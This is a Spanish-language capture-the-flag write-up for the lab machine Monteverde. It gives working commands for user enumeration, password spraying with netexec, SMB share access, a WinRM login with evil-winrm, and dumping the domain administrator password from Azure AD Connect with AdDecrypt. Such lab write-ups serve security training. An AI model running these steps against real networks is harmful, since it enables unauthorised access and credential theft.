Introducción
Monteverde es una máquina de dificultad media en Windows, centrada en la explotación de Azure Active Directory. La ruta de ataque comienza con la enumeración del dominio para obtener una lista de usuarios. A través de password spraying, se descubre que la cuenta de servicio SABatchJobs
tiene como contraseña su propio nombre de usuario. Con estas credenciales, se accede a los shares SMB, donde el recurso compartido $users
es de lectura libre para todos. Dentro de este, se encuentra un archivo XML con credenciales de un usuario de Azure AD.
Debido a la reutilización de contraseñas, es posible conectarse mediante WinRM con el usuario mhope
, quien tiene privilegios sobre Azure AD Connect. Esto permite extraer las credenciales de la cuenta que replica los cambios del directorio a Azure, que por defecto pertenece al Administrador del Dominio. Con esto, se obtiene acceso total al sistema.
Monteverde es una máquina interesante para aquellos que quieran profundizar en la seguridad de entornos híbridos de Active Directory y Azure, aprendiendo sobre password spraying, SMB enumeration, WinRM exploitation y abuso de Azure AD Connect.
Enumeración
Enumeración de puertos
Comenzamos la resolución de la máquina Monteverde realizando el escaneo de puertos inicial.
nmap -p- --min-rate 1000 -Pn -n 10.10.10.172

Una vez hemos obtenido los servicios que se encuentran disponibles en la máquina, realizaremos la enumeración profunda de los servicios disponibles.
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sVC -Pn -n 10.10.10.172

Enumeración SMB
Continuamos la resolución de la máquina, enumerando SMB. Comenzamos con enum4linux
enum4linux -a 10.10.10.172
De los resultados de la ejecución de enum4linux, obtenemos una lista de posibles usuarios.
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
Administrator
A continuación, con la lista de usuarios que hemos obtenido tras la ejecución de enum4linux, vamos a tratar de encontrar credenciales válidas utilizando para ello netexec.
nxc smb 10.10.10.172 -u users.txt -p users.txt

Localizamos unas credenciales válidas
SABatchJobs:SABatchJobs
Vamos a comprobar si tenemos acceso a archivos internos utilizando las credenciales localizadas.
nxc smb 10.10.10.172 -u SABatchJobs -p 'SABatchJobs' --shares

smbclient -U 'SABatchJobs' //10.10.10.172/users$


Explotación
Enumeramos el contenido del archivo azure.xml que hemos descargado en nuestro equipo.

Encontramos las credenciales del usuario mhope:4n0therD4y@n0th3r$

Las credenciales son válidas tanto para SMB como para winrm.
Vamos a tratar de iniciar sesión con la shell evill-winrm.
evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'

Obtenemos acceso al objetivo con las credenciales localizadas en el archivo azure.xml utilizando el servicio de winrm. También, encontramos la flag user.txt.
Elevación de privilegios
Comenzamos la elevación de privilegios comprobando los privilegios del usuario actual.
whoami /all

El usuario mhope es miembro del grupo Azure Admin, lo cual significa que tiene derechos administrativos.
Buscando información de como se puede aprovechar este grupo para elevar privilegios, encontramos el siguiente artículo.
Descargamos el zip, descomprimimos el archivos y enviamos los archivos resultantes al objetivo utilizando la shell winrm anterior.

Ejecutaremos esta herramienta en el directorio de Microsoft Azure AD Sync
C:\Archivos de programa\Microsoft Azure AD Sync\Bin
C:\Users\mhope\Desktop\AdDecrypt.exe -FullSQL

Localizamos las siguientes credenciales:
- Username: administrator
- Password: d0m@in***
evil-winrm -i 10.10.10.172 -u 'administrator' -p 'd0m@i**'

Accedemos al sistema como usuarios con privilegios y ya podremos acceder a la flag root.txt
No responses yet